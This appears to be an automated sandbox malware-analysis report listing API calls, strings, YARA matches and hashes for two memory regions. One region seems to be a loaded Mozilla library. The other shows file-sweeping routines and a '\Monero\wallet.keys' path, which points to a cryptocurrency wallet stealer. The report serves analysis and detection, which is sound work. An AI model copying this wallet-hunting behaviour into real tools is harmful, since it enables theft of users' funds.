Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

user32.dll, xrefs: 6C666526
detoured.dll, xrefs: 6C6664DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
nvd3d9wrap.dll, xrefs: 6C666500
_etoured.dll, xrefs: 6C6664ED
nvdxgiwrap.dll, xrefs: 6C666513

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 005F38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005F38CC
FindFirstFileA.KERNEL32(?,?), ref: 005F38E3
lstrcat.KERNEL32(?,?), ref: 005F3935
StrCmpCA.SHLWAPI(?,00600F70), ref: 005F3947
StrCmpCA.SHLWAPI(?,00600F74), ref: 005F395D
FindNextFileA.KERNEL32(000000FF,?), ref: 005F3C67
FindClose.KERNEL32(000000FF), ref: 005F3C7C

Strings

%s\%s, xrefs: 005F3A6F
%s\%s\%s, xrefs: 005F3A4A
%s\*, xrefs: 005F38C0
%s\%s, xrefs: 005F397A
%s%s, xrefs: 005F3AAD

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 7ac0cba9b220d57476975fd3964d9d99fd85c5058923b244a1aaeca9648053c1
Instruction ID: b2ab8f1e74a25892af99e2e9a94b2a5c9e8741359008fb927ebfee35a1bbea0e
Opcode Fuzzy Hash: 7ac0cba9b220d57476975fd3964d9d99fd85c5058923b244a1aaeca9648053c1
Instruction Fuzzy Hash: 7AA130B190020D9BDB34DF64DC89FFA7779BF94300F048598A64D96181EB749B85CF62

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 005F4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005F4580
RtlAllocateHeap.NTDLL(00000000), ref: 005F4587
wsprintfA.USER32 ref: 005F45A6
FindFirstFileA.KERNEL32(?,?), ref: 005F45BD
StrCmpCA.SHLWAPI(?,00600FC4), ref: 005F45EB
StrCmpCA.SHLWAPI(?,00600FC8), ref: 005F4601
FindNextFileA.KERNEL32(000000FF,?), ref: 005F468B
FindClose.KERNEL32(000000FF), ref: 005F46A0
lstrcat.KERNEL32(?,0164E300), ref: 005F46C5
lstrcat.KERNEL32(?,0164D3F8), ref: 005F46D8
lstrlen.KERNEL32(?), ref: 005F46E5
lstrlen.KERNEL32(?), ref: 005F46F6

Strings

%s\%s, xrefs: 005F461B
%s\*, xrefs: 005F459A

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: fd2e54ba7d75379a286ca8d5146e36f80422ab7bc3aaf7b6d15f460eff5d077f
Instruction ID: 69ee46a46f24767edf2c345053cfd4abd0172b46ae4a3214b9c4c87a4f119b18
Opcode Fuzzy Hash: fd2e54ba7d75379a286ca8d5146e36f80422ab7bc3aaf7b6d15f460eff5d077f
Instruction Fuzzy Hash: AE5152B1540219ABCB28EB70DC89FFE777CBF58300F408599B65992190EB74DB858F92

Function 005EED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005EED3E
FindFirstFileA.KERNEL32(?,?), ref: 005EED55
StrCmpCA.SHLWAPI(?,00601538), ref: 005EEDAB
StrCmpCA.SHLWAPI(?,0060153C), ref: 005EEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 005EF2AE
FindClose.KERNEL32(000000FF), ref: 005EF2C3

Strings

%s\*.*, xrefs: 005EED32

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 218d3bf1e82a1089b37efe2489352ce890917dc9e827a6407206d81eaa63a1c8
Instruction ID: 7300d1ec06c52c914fdbea599d0cac0337f291163ef7fcf24a3dd229c2ce2a92
Opcode Fuzzy Hash: 218d3bf1e82a1089b37efe2489352ce890917dc9e827a6407206d81eaa63a1c8
Instruction Fuzzy Hash: AAE104B291111D5ADB18FB60CC56EFE7738BF94340F4041A9B60E62096EE746B8ACF53

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 005EDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00600C2E), ref: 005EDE5E
StrCmpCA.SHLWAPI(?,006014C8), ref: 005EDEAE
StrCmpCA.SHLWAPI(?,006014CC), ref: 005EDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 005EE3E0
FindClose.KERNEL32(000000FF), ref: 005EE3F2

Strings

\*.*, xrefs: 005EDE26

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
